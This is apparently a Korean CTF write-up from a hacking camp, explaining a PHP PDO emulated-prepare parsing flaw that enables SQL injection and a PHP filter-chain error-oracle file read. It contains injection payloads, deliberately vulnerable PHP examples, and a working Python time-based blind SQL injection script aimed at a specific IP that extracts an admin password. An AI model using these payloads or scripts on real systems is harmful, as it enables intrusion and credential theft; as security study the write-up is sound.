
  • alias를 사용할때는 AS를 사용해도 되고, 생략해도 된다.
SELECT `\\'x` 
FROM (SELECT table_name AS `\\'x` FROM information_schema.tables) AS y;

이 쿼리와 같은 쿼리임


다른 DB에서는 어떨까

  1. MySQL
  • 기본값: PDO::ATTR_EMULATE_PREPARES = true → 취약
  • 해결법 : $pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
  • → false로 주면 mysql native prepared statement를 직접 사용하게 돼서 오해석을 아예 피함
  1. PostgreSQL
  • 기본값 : native prepared statements 사용 → 안전함
  • 하지만 : 개발자가 PDO::ATTR_EMULATE_PREPARES ⇒ true로 설정하면 MySQL처럼 PDO 파서가 개입하게됨 → 취약
    • 공격 페이로드 차이점 : MySQL은 #, PostgreSQL은 — 사용
    • 식별자 : Mysql은 백틱, postgresql은 더블쿼터
  1. SQLite
  • 기본값 : 항상 애물레이트 모드 → PDO가 파서를 돌림
  • 하지만 : SQLite 파서는 널 바이트를 만나면 무조건 토큰화 오류를 낸다.
  • 따라서 이 글에서 사용한 널 바이트 백틱 블록 깨기 기법은 SQLite에서는 적용되지 않음 → not vuln

Other Vulnerable Scenarios

** 이 취약점이 컬럼명/테이블명 자리에만 국한되지 않고, PDO 쿼리 문자열 어디서든 발생할 수 있음 **

코드

$sku = strtr($_GET['sku'], ["'" => "\\\\'", '\\\\' => '\\\\\\\\']);

$stmt = $pdo->prepare("SELECT * FROM fruit WHERE sku LIKE '%$sku%' AND name = ?");
$stmt->execute([$_GET['name']]);
  1. sku 처리
  • 개발자가 직접 strtr()로 '와 \만 escape
  • 즉, sku 값은 그냥 쿼리 문자열 안에 박힘
... WHERE sku LIKE '%사용자입력%' AND name = ?

만약 ?%00를 넣으면?

SELECT * FROM fruit WHERE sku LIKE '%$sku%' AND name = ?"

payload : ?sku=?%00&name=apple

SELECT * FROM fruit WHERE sku LIKE '%?\\0%' AND name = ?"

파서가 널 바이트 만나서 skip → 첫 글자로 back → ?를 플레이스홀더로 인식

⇒ 이러면 바인딩 개수 오류 발생

→ 주석 추가로 해결


PHP 8.3 이하 PDO 파서의 문제

1. 단일 파서 사용

  • PHP 8.4부터는 DBMS마다 별도의 파서를 사용한다.
  • 그런데 8.3 이하에서는 모든 DBMS에 공통적으로 mysql 기반 파서 하나만 사용했다.
  • 즉, mysql 특유의 규칙(백슬래쉬 이스케이프, 백틱 식별자 등)을 postgres, sqlite에도 억지로 적용했다.

2. backtick 처리 없음

  • PHP 8.3 이하의 파서 코드를 보면 mysql의 백틱을 식별자 규칙으로 처리하지 않는다.
  • 그래서 ?나 :param 같은 placeholder 문자가 컬럼명/테이블명 안에 들어가면 그대로 placeholder로 오인식 한다.
  • mysql 취약점에서 쓰던 널 바이트 조차 필요없지, 단순히 ? 하나만 넣어도 인젝션이 성립할 수 있다.

3. 모든 문자열을 “백슬래시 escape 문자열”로 가정

  • mysql은 문자열에 ' 를 \' 로 escape 할 수 있지만, postgres는 그렇지 않다.
  • 그런데 PDO 파서는 DB에 상관없이 무조건 \'는 안전하게 escape된 작은 따옴표 라고 가정한다.

예시 코드(Postgres, PHP 8.3 이하)

$dsn = "pgsql:host=127.0.0.1;dbname=demo";
$pdo = new PDO($dsn, 'demo', '', [PDO::ATTR_EMULATE_PREPARES => true]);

$sku = $pdo->quote($_GET['sku']);   // 안전하게 보이는 quoting
$stmt = $pdo->prepare("SELECT * FROM fruit WHERE sku = $sku AND name = ?");
$stmt->execute([$_GET['name']]);
  • sku는 $pdo → quote()로 escape 처리됨 → 안전해보임
  • name은 placeholder로 바인딩됨 → 안전해 보임

<공격 방법>

sku=\’?— 를 입력했다고 가정하자.

SELECT * FROM fruit WHERE sku = '\\'?--' AND name = ?
  • Postgres 입장에서 이건 허용된 sql이다.
    • \ : 문자열 리터럴 → \ 라는 문자
    • ? : 그 다음에 오는건 문자열 ?
    • 실제 구문상 문제 없음
  • 하지만 PDO 파서는 \’ 를 escape된 싱글쿼터라고 잘못 해석한다.
    • 그래서 첫 싱글쿼터 문자열이 아직 닫하지 않은 것을 보고,
    • 그 뒤의 ?는 문자열 밖의 plcaeholder로 오인식한다.

익스플로잇

취약점 분석이 끝났다. 이제 위의 공격 기법을 가지고 sqli를 시도해보자.

env : PHP 8.3 -> 위의 테크닉 사용

GOAL : admin 비밀번호 추출

import requests
import time

url = f"http://3.39.64.203:8081/login.php?"
headers = {"Content-Type": "application/x-www-form-urlencoded"}


def find_length():
    length = 0
    for i in range(0, 50):
        payload = f";select case when (select length(password) from users where username=CHR(97)||CHR(100)||CHR(109)||CHR(105)||CHR(110))={i} then (select 1 from pg_sleep(5)) else 0 end--"
        data = {
            "id": "\\'?--",
            "pw": payload
        }
        start = time.time()
        res = requests.post(f"{url}", headers=headers, data=data)
        end = time.time()

        total = end - start
        if total > 4.6:
            length += i
    print("[+] length : ",length)

def find_pw():
    pw = ""
    while True:
        for i in range(0, 26):
            for j in range(33, 128):
                payload = f";select case when (select ascii(substring(password,{i},1)) from users where username=CHR(97)||CHR(100)||CHR(109)||CHR(105)||CHR(110))={j} then (select 1 from pg_sleep(5)) else 0 end -- "
                data = {
                    "id": "\\'?--",
                    "pw": payload
                }
                start = time.time()
                res = requests.post(url, headers=headers, data=data)
                end = time.time()

                total = end - start

                if total > 4.6:
                    pw += chr(j)
                    print("[+] pw is : ", pw)
                    break

​admin/hC@MP_2o25_adM1n_P45SW0rd

gallery.php

우여곡절 끝에 드디어 로그인에 성공했다. 그런데 두번째 관문이 있었다.

파일을 업로드 하는 기능이 있고, 파일 업로드 후 View를 누르면 image_view.php로 리다이렉트 된다.

 

코드 분석

우리가 참고해야할 코드는 api.php, image_view.php, gallery.php

이 세가지 정도가 있다. 그런데 미리 file upload 취약점이 아니라는 것을 라이트업을 통해 알았기 때문에 api.php는 분석을 하지 않아도 될 것 같다.

 

취약점 분석

image_view.php

if (isset($_REQUEST['file_path']) && !empty($_REQUEST['file_path'])) {
    // file_path 파라미터가 존재하고, 해당 파라미터가 비어있지 않다면
    $fullPath = $_REQUEST['file_path'];

    $debugInfo = [
        'original_request' => $_REQUEST['file_path'], // original_request로 file_path 지정
        'used_path' => $fullPath, // used_path로 fullpath
        'file_exists' => file_exists($fullPath) // file_exists로 true/false 반환함
    ];
    
    $imageInfo = @getimagesize($fullPath);

위의 코드를 보면 파일을 읽기만 하고 우리에게 보여주지는 않는다. 이럴때 사용할 수 있는 기법이 아래 설명하는 기법이다.


https://www.notion.so/PHP-filter-chains-file-read-from-error-based-oracle-263bb70bfa41808e94cbc20b3ecbefff?source=copy_link

 

PHP filter chains: file read from error-based oracle | Notion

file()로 읽기만 하고 출력하지 않는 상황에서, php://filter와 에러 메시지를 오라클처럼 활용해 파일 내용을 유출할 수 있다는 걸 보여주는 대표적인 사례이다.

www.notion.so

-> 내가 정리한 노션에서 다시 정리하는건데 다시 쓰기 너무 귀찮아서 내 노션 링크를 참고하자...

익스플로잇2

여기 코드를 보면 getimagesize 함수를 사용하여 이미지에 대한 정보를 가져오고 있다. 위의 글대로 getimagesize는 해당 오라클 기법에 영향을 받기 때문에 글에서 제공해준 툴을 활용하여 /flag 값을 유출할 수 있을 것 같다.

flag : HCAMP{3b477607a4b3be14ae35ef41fa5858b7be45d49694aee4214b943d5b9b0135}

https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle

 

PHP filter chains: file read from error-based oracle

PHP filter chains: file read from error-based oracle

www.synacktiv.com

 

https://github.com/synacktiv/php_filter_chains_oracle_exploit

 

GitHub - synacktiv/php_filter_chains_oracle_exploit: A CLI to exploit parameters vulnerable to PHP filter chain error based orac

A CLI to exploit parameters vulnerable to PHP filter chain error based oracle. - synacktiv/php_filter_chains_oracle_exploit

github.com

 

해킹 캠프 후기

해킹 공부를 본격적으로 시작한지 얼마 되지 않았기 때문에 이번 떨어질까봐 살짝 걱정했지만 다행히 붙여주셔서 좋은 기회로 다녀오게 되었다. 이번 해캠에서 정말 대단하신 분들의 발표도 듣고 정말 재미있게 CTF도 즐길 수 있어서 정말 뜻깊은 경험이었다. 발표도 발표지만 ctf 하면서 또 많은 것들을 배웠고 이번 해캠을 계기로 지금보다 더 공부를 더욱 열심히 해야겠다는 생각이 많이 드는 것 같다.

그리고 피곤함 이슈로 ctf 리뷰 때 제대로 집중하지 못해서 집와서 다시 풀 때 어려웠지만 오히려 좋았던 것 같다. 아 더 열심히 해야겠다 화이팅

'CTF & Wargame(CTF's)' 카테고리의 다른 글

SunshineCTF writeup  (0) 2025.10.17
CCE 예선 - Photo Editing(web) 라이트업  (0) 2025.10.17
WatCTF writeup(web)  (0) 2025.09.11
Full Weak Engineer CTF 2025 Writeup(web)  (0) 2025.09.10
scriptCTF Wizard Gallery writeup  (0) 2025.08.18